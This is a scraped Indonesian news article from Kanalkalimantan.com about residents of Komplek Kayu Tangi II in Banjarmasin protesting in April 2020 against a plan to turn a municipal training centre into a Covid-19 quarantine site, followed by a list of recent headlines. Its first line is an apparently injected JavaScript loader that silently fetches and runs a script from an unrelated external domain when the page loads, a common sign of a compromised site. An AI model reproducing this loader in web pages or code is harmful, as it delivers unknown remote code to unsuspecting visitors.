(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Warga Komplek Kayu Tangi II ‘Demo’ Tolak Balai Diklat jadi Tempat Karantina Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Banjarmasin berkumpul pada Selasa (7/4/2020) malam. Mereka menolak rencana Kantor Balai Diklat Pemko Banjarmasin dijadikan pusat karantina untuk Covid-19 di Kota Banjarmasin.

Menurut warga setempat bernama Fauzi, masyarakat di kompleknya kaget begitu mendapatkan informasi kantor balai yang masuk di wilayah Komplek Kayu Tangi II dijadikan pusat karantina orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Fauzi menyebut, tidak ada sosialisasi dari Pemko Banjarmasin kepada masyarakat setempat.

“Justru ketua RT setempat bingung, masyarakat di sini yang mendatangi ketua RT. Gedung ini digunakan untuk apa,” kata Fauzi kepada awak media. Ia mengklaim, aksi ini merupakan bentuk keluhan masyarakat yang sifatnya spontanitas. Fauzi mengeluhkan, penggunaan gedung untuk karantina ini seolah-olah dirahasiakan. “Ketua RT tidak bisa memberikan jawaban apa-apa, sedangkan Banjarmasin Utara sudah zona merah,” ungkapnya.

Ia bersama rekan-rekannya pun sudah mengkonfirmasi kepada pihak kecamatan dan kelurahan. Sayang, Fauzi mengeluhkan, keduanya tidak memberikan jawaban yang memuaskan. “Kami bersama masyarakat setempat berinisiatif untuk memblokir wilayah ini. Mudah-mudahan menjadi perhatian Pemko Banjarmasin dan Gugus Tugas P3 Covid-19 Kota Banjarmasin,” ucap Fauzi.

Fauzi bersama warga di Komplek Kayu Tangi II secara tegas menolak penggunaan gedung yang masuk wilayah komplek perumahan ini tetap digunakan sebagai tempat karantina, baik untuk ODP maupun PDP. Terutama berada di kawasan pemukiman penduduk. “Berdasarkan peraturan yang kita ketahui, untuk tempat perawatan itu harus ada persetujuan warga sekitar. Sementara warga sekitar tidak menerima itu,” tandasnya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

25 menit ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

12 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

15 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

21 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

22 jam ago

This website uses cookies.